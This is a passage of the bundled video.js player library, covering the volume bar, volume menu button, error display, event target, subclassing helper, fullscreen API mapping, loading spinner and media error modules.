  6435. * Create the component's DOM element
  6436. *
  6437. * @return {Element}
  6438. * @method createEl
  6439. */
  6440. VolumeBar.prototype.createEl = function createEl() {
  6441. return _Slider.prototype.createEl.call(this, 'div', {
  6442. className: 'vjs-volume-bar vjs-slider-bar'
  6443. }, {
  6444. 'aria-label': 'volume level'
  6445. });
  6446. };
  6447. /**
  6448. * Handle mouse move on volume bar
  6449. *
  6450. * @method handleMouseMove
  6451. */
  6452. VolumeBar.prototype.handleMouseMove = function handleMouseMove(event) {
  6453. this.checkMuted();
  6454. this.player_.volume(this.calculateDistance(event));
  6455. };
  6456. VolumeBar.prototype.checkMuted = function checkMuted() {
  6457. if (this.player_.muted()) {
  6458. this.player_.muted(false);
  6459. }
  6460. };
  6461. /**
  6462. * Get percent of volume level
  6463. *
  6464. * @retun {Number} Volume level percent
  6465. * @method getPercent
  6466. */
  6467. VolumeBar.prototype.getPercent = function getPercent() {
  6468. if (this.player_.muted()) {
  6469. return 0;
  6470. } else {
  6471. return this.player_.volume();
  6472. }
  6473. };
  6474. /**
  6475. * Increase volume level for keyboard users
  6476. *
  6477. * @method stepForward
  6478. */
  6479. VolumeBar.prototype.stepForward = function stepForward() {
  6480. this.checkMuted();
  6481. this.player_.volume(this.player_.volume() + 0.1);
  6482. };
  6483. /**
  6484. * Decrease volume level for keyboard users
  6485. *
  6486. * @method stepBack
  6487. */
  6488. VolumeBar.prototype.stepBack = function stepBack() {
  6489. this.checkMuted();
  6490. this.player_.volume(this.player_.volume() - 0.1);
  6491. };
  6492. /**
  6493. * Update ARIA accessibility attributes
  6494. *
  6495. * @method updateARIAAttributes
  6496. */
  6497. VolumeBar.prototype.updateARIAAttributes = function updateARIAAttributes() {
  6498. // Current value of volume bar as a percentage
  6499. var volume = (this.player_.volume() * 100).toFixed(2);
  6500. this.el_.setAttribute('aria-valuenow', volume);
  6501. this.el_.setAttribute('aria-valuetext', volume + '%');
  6502. };
  6503. return VolumeBar;
  6504. })(_sliderSliderJs2['default']);
  6505. VolumeBar.prototype.options_ = {
  6506. children: ['volumeLevel'],
  6507. 'barName': 'volumeLevel'
  6508. };
  6509. VolumeBar.prototype.playerEvent = 'volumechange';
  6510. _componentJs2['default'].registerComponent('VolumeBar', VolumeBar);
  6511. exports['default'] = VolumeBar;
  6512. module.exports = exports['default'];
  6513. },{"../../component.js":67,"../../slider/slider.js":119,"../../utils/fn.js":144,"./volume-level.js":101}],100:[function(_dereq_,module,exports){
  6514. /**
  6515. * @file volume-control.js
  6516. */
  6517. 'use strict';
  6518. exports.__esModule = true;
  6519. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6520. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6521. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6522. var _componentJs = _dereq_('../../component.js');
  6523. var _componentJs2 = _interopRequireDefault(_componentJs);
  6524. // Required children
  6525. var _volumeBarJs = _dereq_('./volume-bar.js');
  6526. var _volumeBarJs2 = _interopRequireDefault(_volumeBarJs);
  6527. /**
  6528. * The component for controlling the volume level
  6529. *
  6530. * @param {Player|Object} player
  6531. * @param {Object=} options
  6532. * @extends Component
  6533. * @class VolumeControl
  6534. */
  6535. var VolumeControl = (function (_Component) {
  6536. _inherits(VolumeControl, _Component);
  6537. function VolumeControl(player, options) {
  6538. _classCallCheck(this, VolumeControl);
  6539. _Component.call(this, player, options);
  6540. // hide volume controls when they're not supported by the current tech
  6541. if (player.tech_ && player.tech_['featuresVolumeControl'] === false) {
  6542. this.addClass('vjs-hidden');
  6543. }
  6544. this.on(player, 'loadstart', function () {
  6545. if (player.tech_['featuresVolumeControl'] === false) {
  6546. this.addClass('vjs-hidden');
  6547. } else {
  6548. this.removeClass('vjs-hidden');
  6549. }
  6550. });
  6551. }
  6552. /**
  6553. * Create the component's DOM element
  6554. *
  6555. * @return {Element}
  6556. * @method createEl
  6557. */
  6558. VolumeControl.prototype.createEl = function createEl() {
  6559. return _Component.prototype.createEl.call(this, 'div', {
  6560. className: 'vjs-volume-control vjs-control'
  6561. });
  6562. };
  6563. return VolumeControl;
  6564. })(_componentJs2['default']);
  6565. VolumeControl.prototype.options_ = {
  6566. children: ['volumeBar']
  6567. };
  6568. _componentJs2['default'].registerComponent('VolumeControl', VolumeControl);
  6569. exports['default'] = VolumeControl;
  6570. module.exports = exports['default'];
  6571. },{"../../component.js":67,"./volume-bar.js":99}],101:[function(_dereq_,module,exports){
  6572. /**
  6573. * @file volume-level.js
  6574. */
  6575. 'use strict';
  6576. exports.__esModule = true;
  6577. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6578. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6579. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6580. var _componentJs = _dereq_('../../component.js');
  6581. var _componentJs2 = _interopRequireDefault(_componentJs);
  6582. /**
  6583. * Shows volume level
  6584. *
  6585. * @param {Player|Object} player
  6586. * @param {Object=} options
  6587. * @extends Component
  6588. * @class VolumeLevel
  6589. */
  6590. var VolumeLevel = (function (_Component) {
  6591. _inherits(VolumeLevel, _Component);
  6592. function VolumeLevel() {
  6593. _classCallCheck(this, VolumeLevel);
  6594. _Component.apply(this, arguments);
  6595. }
  6596. /**
  6597. * Create the component's DOM element
  6598. *
  6599. * @return {Element}
  6600. * @method createEl
  6601. */
  6602. VolumeLevel.prototype.createEl = function createEl() {
  6603. return _Component.prototype.createEl.call(this, 'div', {
  6604. className: 'vjs-volume-level',
  6605. innerHTML: '<span class="vjs-control-text"></span>'
  6606. });
  6607. };
  6608. return VolumeLevel;
  6609. })(_componentJs2['default']);
  6610. _componentJs2['default'].registerComponent('VolumeLevel', VolumeLevel);
  6611. exports['default'] = VolumeLevel;
  6612. module.exports = exports['default'];
  6613. },{"../../component.js":67}],102:[function(_dereq_,module,exports){
  6614. /**
  6615. * @file volume-menu-button.js
  6616. */
  6617. 'use strict';
  6618. exports.__esModule = true;
  6619. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6620. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  6621. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6622. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6623. var _utilsFnJs = _dereq_('../utils/fn.js');
  6624. var Fn = _interopRequireWildcard(_utilsFnJs);
  6625. var _componentJs = _dereq_('../component.js');
  6626. var _componentJs2 = _interopRequireDefault(_componentJs);
  6627. var _popupPopupJs = _dereq_('../popup/popup.js');
  6628. var _popupPopupJs2 = _interopRequireDefault(_popupPopupJs);
  6629. var _popupPopupButtonJs = _dereq_('../popup/popup-button.js');
  6630. var _popupPopupButtonJs2 = _interopRequireDefault(_popupPopupButtonJs);
  6631. var _muteToggleJs = _dereq_('./mute-toggle.js');
  6632. var _muteToggleJs2 = _interopRequireDefault(_muteToggleJs);
  6633. var _volumeControlVolumeBarJs = _dereq_('./volume-control/volume-bar.js');
  6634. var _volumeControlVolumeBarJs2 = _interopRequireDefault(_volumeControlVolumeBarJs);
  6635. /**
  6636. * Button for volume popup
  6637. *
  6638. * @param {Player|Object} player
  6639. * @param {Object=} options
  6640. * @extends PopupButton
  6641. * @class VolumeMenuButton
  6642. */
  6643. var VolumeMenuButton = (function (_PopupButton) {
  6644. _inherits(VolumeMenuButton, _PopupButton);
  6645. function VolumeMenuButton(player) {
  6646. var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  6647. _classCallCheck(this, VolumeMenuButton);
  6648. // Default to inline
  6649. if (options.inline === undefined) {
  6650. options.inline = true;
  6651. }
  6652. // If the vertical option isn't passed at all, default to true.
  6653. if (options.vertical === undefined) {
  6654. // If an inline volumeMenuButton is used, we should default to using
  6655. // a horizontal slider for obvious reasons.
  6656. if (options.inline) {
  6657. options.vertical = false;
  6658. } else {
  6659. options.vertical = true;
  6660. }
  6661. }
  6662. // The vertical option needs to be set on the volumeBar as well,
  6663. // since that will need to be passed along to the VolumeBar constructor
  6664. options.volumeBar = options.volumeBar || {};
  6665. options.volumeBar.vertical = !!options.vertical;
  6666. _PopupButton.call(this, player, options);
  6667. // Same listeners as MuteToggle
  6668. this.on(player, 'volumechange', this.volumeUpdate);
  6669. this.on(player, 'loadstart', this.volumeUpdate);
  6670. // hide mute toggle if the current tech doesn't support volume control
  6671. function updateVisibility() {
  6672. if (player.tech_ && player.tech_['featuresVolumeControl'] === false) {
  6673. this.addClass('vjs-hidden');
  6674. } else {
  6675. this.removeClass('vjs-hidden');
  6676. }
  6677. }
  6678. updateVisibility.call(this);
  6679. this.on(player, 'loadstart', updateVisibility);
  6680. this.on(this.volumeBar, ['slideractive', 'focus'], function () {
  6681. this.addClass('vjs-slider-active');
  6682. });
  6683. this.on(this.volumeBar, ['sliderinactive', 'blur'], function () {
  6684. this.removeClass('vjs-slider-active');
  6685. });
  6686. this.on(this.volumeBar, ['focus'], function () {
  6687. this.addClass('vjs-lock-showing');
  6688. });
  6689. this.on(this.volumeBar, ['blur'], function () {
  6690. this.removeClass('vjs-lock-showing');
  6691. });
  6692. }
  6693. /**
  6694. * Allow sub components to stack CSS class names
  6695. *
  6696. * @return {String} The constructed class name
  6697. * @method buildCSSClass
  6698. */
  6699. VolumeMenuButton.prototype.buildCSSClass = function buildCSSClass() {
  6700. var orientationClass = '';
  6701. if (!!this.options_.vertical) {
  6702. orientationClass = 'vjs-volume-menu-button-vertical';
  6703. } else {
  6704. orientationClass = 'vjs-volume-menu-button-horizontal';
  6705. }
  6706. return 'vjs-volume-menu-button ' + _PopupButton.prototype.buildCSSClass.call(this) + ' ' + orientationClass;
  6707. };
  6708. /**
  6709. * Allow sub components to stack CSS class names
  6710. *
  6711. * @return {Popup} The volume popup button
  6712. * @method createPopup
  6713. */
  6714. VolumeMenuButton.prototype.createPopup = function createPopup() {
  6715. var popup = new _popupPopupJs2['default'](this.player_, {
  6716. contentElType: 'div'
  6717. });
  6718. var vb = new _volumeControlVolumeBarJs2['default'](this.player_, this.options_.volumeBar);
  6719. popup.addChild(vb);
  6720. this.menuContent = popup;
  6721. this.volumeBar = vb;
  6722. this.attachVolumeBarEvents();
  6723. return popup;
  6724. };
  6725. /**
  6726. * Handle click on volume popup and calls super
  6727. *
  6728. * @method handleClick
  6729. */
  6730. VolumeMenuButton.prototype.handleClick = function handleClick() {
  6731. _muteToggleJs2['default'].prototype.handleClick.call(this);
  6732. _PopupButton.prototype.handleClick.call(this);
  6733. };
  6734. VolumeMenuButton.prototype.attachVolumeBarEvents = function attachVolumeBarEvents() {
  6735. this.menuContent.on(['mousedown', 'touchdown'], Fn.bind(this, this.handleMouseDown));
  6736. };
  6737. VolumeMenuButton.prototype.handleMouseDown = function handleMouseDown(event) {
  6738. this.on(['mousemove', 'touchmove'], Fn.bind(this.volumeBar, this.volumeBar.handleMouseMove));
  6739. this.on(this.el_.ownerDocument, ['mouseup', 'touchend'], this.handleMouseUp);
  6740. };
  6741. VolumeMenuButton.prototype.handleMouseUp = function handleMouseUp(event) {
  6742. this.off(['mousemove', 'touchmove'], Fn.bind(this.volumeBar, this.volumeBar.handleMouseMove));
  6743. };
  6744. return VolumeMenuButton;
  6745. })(_popupPopupButtonJs2['default']);
  6746. VolumeMenuButton.prototype.volumeUpdate = _muteToggleJs2['default'].prototype.update;
  6747. VolumeMenuButton.prototype.controlText_ = 'Mute';
  6748. _componentJs2['default'].registerComponent('VolumeMenuButton', VolumeMenuButton);
  6749. exports['default'] = VolumeMenuButton;
  6750. module.exports = exports['default'];
  6751. },{"../component.js":67,"../popup/popup-button.js":115,"../popup/popup.js":116,"../utils/fn.js":144,"./mute-toggle.js":73,"./volume-control/volume-bar.js":99}],103:[function(_dereq_,module,exports){
  6752. /**
  6753. * @file error-display.js
  6754. */
  6755. 'use strict';
  6756. exports.__esModule = true;
  6757. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  6758. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6759. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6760. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6761. var _component = _dereq_('./component');
  6762. var _component2 = _interopRequireDefault(_component);
  6763. var _modalDialog = _dereq_('./modal-dialog');
  6764. var _modalDialog2 = _interopRequireDefault(_modalDialog);
  6765. var _utilsDom = _dereq_('./utils/dom');
  6766. var Dom = _interopRequireWildcard(_utilsDom);
  6767. var _utilsMergeOptions = _dereq_('./utils/merge-options');
  6768. var _utilsMergeOptions2 = _interopRequireDefault(_utilsMergeOptions);
  6769. /**
  6770. * Display that an error has occurred making the video unplayable.
  6771. *
  6772. * @extends ModalDialog
  6773. * @class ErrorDisplay
  6774. */
  6775. var ErrorDisplay = (function (_ModalDialog) {
  6776. _inherits(ErrorDisplay, _ModalDialog);
  6777. /**
  6778. * Constructor for error display modal.
  6779. *
  6780. * @param {Player} player
  6781. * @param {Object} [options]
  6782. */
  6783. function ErrorDisplay(player, options) {
  6784. _classCallCheck(this, ErrorDisplay);
  6785. _ModalDialog.call(this, player, options);
  6786. this.on(player, 'error', this.open);
  6787. }
  6788. /**
  6789. * Include the old class for backward-compatibility.
  6790. *
  6791. * This can be removed in 6.0.
  6792. *
  6793. * @method buildCSSClass
  6794. * @deprecated
  6795. * @return {String}
  6796. */
  6797. ErrorDisplay.prototype.buildCSSClass = function buildCSSClass() {
  6798. return 'vjs-error-display ' + _ModalDialog.prototype.buildCSSClass.call(this);
  6799. };
  6800. /**
  6801. * Generates the modal content based on the player error.
  6802. *
  6803. * @return {String|Null}
  6804. */
  6805. ErrorDisplay.prototype.content = function content() {
  6806. var error = this.player().error();
  6807. return error ? this.localize(error.message) : '';
  6808. };
  6809. return ErrorDisplay;
  6810. })(_modalDialog2['default']);
  6811. ErrorDisplay.prototype.options_ = _utilsMergeOptions2['default'](_modalDialog2['default'].prototype.options_, {
  6812. fillAlways: true,
  6813. temporary: false,
  6814. uncloseable: true
  6815. });
  6816. _component2['default'].registerComponent('ErrorDisplay', ErrorDisplay);
  6817. exports['default'] = ErrorDisplay;
  6818. module.exports = exports['default'];
  6819. },{"./component":67,"./modal-dialog":112,"./utils/dom":142,"./utils/merge-options":148}],104:[function(_dereq_,module,exports){
  6820. /**
  6821. * @file event-target.js
  6822. */
  6823. 'use strict';
  6824. exports.__esModule = true;
  6825. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  6826. var _utilsEventsJs = _dereq_('./utils/events.js');
  6827. var Events = _interopRequireWildcard(_utilsEventsJs);
  6828. var EventTarget = function EventTarget() {};
  6829. EventTarget.prototype.allowedEvents_ = {};
  6830. EventTarget.prototype.on = function (type, fn) {
  6831. // Remove the addEventListener alias before calling Events.on
  6832. // so we don't get into an infinite type loop
  6833. var ael = this.addEventListener;
  6834. this.addEventListener = function () {};
  6835. Events.on(this, type, fn);
  6836. this.addEventListener = ael;
  6837. };
  6838. EventTarget.prototype.addEventListener = EventTarget.prototype.on;
  6839. EventTarget.prototype.off = function (type, fn) {
  6840. Events.off(this, type, fn);
  6841. };
  6842. EventTarget.prototype.removeEventListener = EventTarget.prototype.off;
  6843. EventTarget.prototype.one = function (type, fn) {
  6844. // Remove the addEventListener alias before calling Events.on
  6845. // so we don't get into an infinite type loop
  6846. var ael = this.addEventListener;
  6847. this.addEventListener = function () {};
  6848. Events.one(this, type, fn);
  6849. this.addEventListener = ael;
  6850. };
  6851. EventTarget.prototype.trigger = function (event) {
  6852. var type = event.type || event;
  6853. if (typeof event === 'string') {
  6854. event = {
  6855. type: type
  6856. };
  6857. }
  6858. event = Events.fixEvent(event);
  6859. if (this.allowedEvents_[type] && this['on' + type]) {
  6860. this['on' + type](event);
  6861. }
  6862. Events.trigger(this, event);
  6863. };
  6864. // The standard DOM EventTarget.dispatchEvent() is aliased to trigger()
  6865. EventTarget.prototype.dispatchEvent = EventTarget.prototype.trigger;
  6866. exports['default'] = EventTarget;
  6867. module.exports = exports['default'];
  6868. },{"./utils/events.js":143}],105:[function(_dereq_,module,exports){
  6869. 'use strict';
  6870. exports.__esModule = true;
  6871. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6872. var _utilsLog = _dereq_('./utils/log');
  6873. var _utilsLog2 = _interopRequireDefault(_utilsLog);
  6874. /*
  6875. * @file extend.js
  6876. *
  6877. * A combination of node inherits and babel's inherits (after transpile).
  6878. * Both work the same but node adds `super_` to the subClass
  6879. * and Bable adds the superClass as __proto__. Both seem useful.
  6880. */
  6881. var _inherits = function _inherits(subClass, superClass) {
  6882. if (typeof superClass !== 'function' && superClass !== null) {
  6883. throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass);
  6884. }
  6885. subClass.prototype = Object.create(superClass && superClass.prototype, {
  6886. constructor: {
  6887. value: subClass,
  6888. enumerable: false,
  6889. writable: true,
  6890. configurable: true
  6891. }
  6892. });
  6893. if (superClass) {
  6894. // node
  6895. subClass.super_ = superClass;
  6896. }
  6897. };
  6898. /*
  6899. * Function for subclassing using the same inheritance that
  6900. * videojs uses internally
  6901. * ```js
  6902. * var Button = videojs.getComponent('Button');
  6903. * ```
  6904. * ```js
  6905. * var MyButton = videojs.extend(Button, {
  6906. * constructor: function(player, options) {
  6907. * Button.call(this, player, options);
  6908. * },
  6909. * onClick: function() {
  6910. * // doSomething
  6911. * }
  6912. * });
  6913. * ```
  6914. */
  6915. var extendFn = function extendFn(superClass) {
  6916. var subClassMethods = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  6917. var subClass = function subClass() {
  6918. superClass.apply(this, arguments);
  6919. };
  6920. var methods = {};
  6921. if (typeof subClassMethods === 'object') {
  6922. if (typeof subClassMethods.init === 'function') {
  6923. _utilsLog2['default'].warn('Constructor logic via init() is deprecated; please use constructor() instead.');
  6924. subClassMethods.constructor = subClassMethods.init;
  6925. }
  6926. if (subClassMethods.constructor !== Object.prototype.constructor) {
  6927. subClass = subClassMethods.constructor;
  6928. }
  6929. methods = subClassMethods;
  6930. } else if (typeof subClassMethods === 'function') {
  6931. subClass = subClassMethods;
  6932. }
  6933. _inherits(subClass, superClass);
  6934. // Extend subObj's prototype with functions and other properties from props
  6935. for (var name in methods) {
  6936. if (methods.hasOwnProperty(name)) {
  6937. subClass.prototype[name] = methods[name];
  6938. }
  6939. }
  6940. return subClass;
  6941. };
  6942. exports['default'] = extendFn;
  6943. module.exports = exports['default'];
  6944. },{"./utils/log":147}],106:[function(_dereq_,module,exports){
  6945. /**
  6946. * @file fullscreen-api.js
  6947. */
  6948. 'use strict';
  6949. exports.__esModule = true;
  6950. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6951. var _globalDocument = _dereq_('global/document');
  6952. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  6953. /*
  6954. * Store the browser-specific methods for the fullscreen API
  6955. * @type {Object|undefined}
  6956. * @private
  6957. */
  6958. var FullscreenApi = {};
  6959. // browser API methods
  6960. // map approach from Screenful.js - https://github.com/sindresorhus/screenfull.js
  6961. var apiMap = [
  6962. // Spec: https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html
  6963. ['requestFullscreen', 'exitFullscreen', 'fullscreenElement', 'fullscreenEnabled', 'fullscreenchange', 'fullscreenerror'],
  6964. // WebKit
  6965. ['webkitRequestFullscreen', 'webkitExitFullscreen', 'webkitFullscreenElement', 'webkitFullscreenEnabled', 'webkitfullscreenchange', 'webkitfullscreenerror'],
  6966. // Old WebKit (Safari 5.1)
  6967. ['webkitRequestFullScreen', 'webkitCancelFullScreen', 'webkitCurrentFullScreenElement', 'webkitCancelFullScreen', 'webkitfullscreenchange', 'webkitfullscreenerror'],
  6968. // Mozilla
  6969. ['mozRequestFullScreen', 'mozCancelFullScreen', 'mozFullScreenElement', 'mozFullScreenEnabled', 'mozfullscreenchange', 'mozfullscreenerror'],
  6970. // Microsoft
  6971. ['msRequestFullscreen', 'msExitFullscreen', 'msFullscreenElement', 'msFullscreenEnabled', 'MSFullscreenChange', 'MSFullscreenError']];
  6972. var specApi = apiMap[0];
  6973. var browserApi = undefined;
  6974. // determine the supported set of functions
  6975. for (var i = 0; i < apiMap.length; i++) {
  6976. // check for exitFullscreen function
  6977. if (apiMap[i][1] in _globalDocument2['default']) {
  6978. browserApi = apiMap[i];
  6979. break;
  6980. }
  6981. }
  6982. // map the browser API names to the spec API names
  6983. if (browserApi) {
  6984. for (var i = 0; i < browserApi.length; i++) {
  6985. FullscreenApi[specApi[i]] = browserApi[i];
  6986. }
  6987. }
  6988. exports['default'] = FullscreenApi;
  6989. module.exports = exports['default'];
  6990. },{"global/document":1}],107:[function(_dereq_,module,exports){
  6991. /**
  6992. * @file loading-spinner.js
  6993. */
  6994. 'use strict';
  6995. exports.__esModule = true;
  6996. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  6997. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  6998. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  6999. var _component = _dereq_('./component');
  7000. var _component2 = _interopRequireDefault(_component);
  7001. /* Loading Spinner
  7002. ================================================================================ */
  7003. /**
  7004. * Loading spinner for waiting events
  7005. *
  7006. * @extends Component
  7007. * @class LoadingSpinner
  7008. */
  7009. var LoadingSpinner = (function (_Component) {
  7010. _inherits(LoadingSpinner, _Component);
  7011. function LoadingSpinner() {
  7012. _classCallCheck(this, LoadingSpinner);
  7013. _Component.apply(this, arguments);
  7014. }
  7015. /**
  7016. * Create the component's DOM element
  7017. *
  7018. * @method createEl
  7019. */
  7020. LoadingSpinner.prototype.createEl = function createEl() {
  7021. return _Component.prototype.createEl.call(this, 'div', {
  7022. className: 'vjs-loading-spinner',
  7023. dir: 'ltr'
  7024. });
  7025. };
  7026. return LoadingSpinner;
  7027. })(_component2['default']);
  7028. _component2['default'].registerComponent('LoadingSpinner', LoadingSpinner);
  7029. exports['default'] = LoadingSpinner;
  7030. module.exports = exports['default'];
  7031. },{"./component":67}],108:[function(_dereq_,module,exports){
  7032. /**
  7033. * @file media-error.js
  7034. */
  7035. 'use strict';
  7036. exports.__esModule = true;
  7037. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  7038. var _objectAssign = _dereq_('object.assign');
  7039. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  7040. /*
  7041. * Custom MediaError class which mimics the standard HTML5 MediaError class.
  7042. *
  7043. * @param {Number|String|Object|MediaError} value
  7044. * This can be of multiple types:
  7045. * - Number: should be a standard error code
  7046. * - String: an error message (the code will be 0)
  7047. * - Object: arbitrary properties
  7048. * - MediaError (native): used to populate a video.js MediaError object
  7049. * - MediaError (video.js): will return itself if it's already a
  7050. * video.js MediaError object.
  7051. */
  7052. function MediaError(value) {
  7053. // Allow redundant calls to this constructor to avoid having `instanceof`
  7054. // checks peppered around the code.
  7055. if (value instanceof MediaError) {
  7056. return value;
  7057. }
  7058. if (typeof value === 'number') {
  7059. this.code = value;
  7060. } else if (typeof value === 'string') {
  7061. // default code is zero, so this is a custom error
  7062. this.message = value;
  7063. } else if (typeof value === 'object') {
  7064. // We assign the `code` property manually because native MediaError objects
  7065. // do not expose it as an own/enumerable property of the object.
  7066. if (typeof value.code === 'number') {
  7067. this.code = value.code;
  7068. }
  7069. _objectAssign2['default'](this, value);
  7070. }
  7071. if (!this.message) {
  7072. this.message = MediaError.defaultMessages[this.code] || '';
  7073. }
  7074. }
  7075. /*
  7076. * The error code that refers two one of the defined
  7077. * MediaError types
  7078. *
  7079. * @type {Number}
  7080. */
  7081. MediaError.prototype.code = 0;
  7082. /*
  7083. * An optional message to be shown with the error.
  7084. * Message is not part of the HTML5 video spec
  7085. * but allows for more informative custom errors.
  7086. *
  7087. * @type {String}
  7088. */
  7089. MediaError.prototype.message = '';
  7090. /*
  7091. * An optional status code that can be set by plugins
  7092. * to allow even more detail about the error.
  7093. * For example the HLS plugin might provide the specific
  7094. * HTTP status code that was returned when the error
  7095. * occurred, then allowing a custom error overlay
  7096. * to display more information.
  7097. *
  7098. * @type {Array}
  7099. */
  7100. MediaError.prototype.status = null;
  7101. MediaError.errorTypes = ['MEDIA_ERR_CUSTOM', // = 0
  7102. 'MEDIA_ERR_ABORTED', // = 1
  7103. 'MEDIA_ERR_NETWORK', // = 2
  7104. 'MEDIA_ERR_DECODE', // = 3
  7105. 'MEDIA_ERR_SRC_NOT_SUPPORTED', // = 4
  7106. 'MEDIA_ERR_ENCRYPTED' // = 5
  7107. ];
  7108. MediaError.defaultMessages = {
  7109. 1: 'You aborted the media playback',
  7110. 2: 'A network error caused the media download to fail part-way.',
  7111. 3: 'The media playback was aborted due to a corruption problem or because the media used features your browser did not support.',
  7112. 4: 'The media could not be loaded, either because the server or network failed or because the format is not supported.',
  7113. 5: 'The media is encrypted and we do not have the keys to decrypt it.'
  7114. };
  7115. // Add types as properties on MediaError
  7116. // e.g. MediaError.MEDIA_ERR_SRC_NOT_SUPPORTED = 4;
  7117. for (var errNum = 0; errNum < MediaError.errorTypes.length; errNum++) {
  7118. MediaError[MediaError.errorTypes[errNum]] = errNum;
  7119. // values should be accessible on both the class and instance
  7120. MediaError.prototype[MediaError.errorTypes[errNum]] = errNum;
  7121. }
  7122. exports['default'] = MediaError;
  7123. module.exports = exports['default'];
  7124. },{"object.assign":45}],109:[function(_dereq_,module,exports){
  7125. /**
  7126. * @file menu-button.js
  7127. */
  7128. 'use strict';
  7129. exports.__esModule = true;
  7130. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  7131. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  7132. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  7133. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  7134. var _clickableComponentJs = _dereq_('../clickable-component.js');
  7135. var _clickableComponentJs2 = _interopRequireDefault(_clickableComponentJs);
  7136. var _componentJs = _dereq_('../component.js');
  7137. var _componentJs2 = _interopRequireDefault(_componentJs);
  7138. var _menuJs = _dereq_('./menu.js');
  7139. var _menuJs2 = _interopRequireDefault(_menuJs);
  7140. var _utilsDomJs = _dereq_('../utils/dom.js');
  7141. var Dom = _interopRequireWildcard(_utilsDomJs);
  7142. var _utilsFnJs = _dereq_('../utils/fn.js');
  7143. var Fn = _interopRequireWildcard(_utilsFnJs);
  7144. var _utilsToTitleCaseJs = _dereq_('../utils/to-title-case.js');
  7145. var _utilsToTitleCaseJs2 = _interopRequireDefault(_utilsToTitleCaseJs);
  7146. /**
  7147. * A button class with a popup menu
  7148. *
  7149. * @param {Player|Object} player
  7150. * @param {Object=} options
  7151. * @extends Button
  7152. * @class MenuButton
  7153. */
  7154. var MenuButton = (function (_ClickableComponent) {
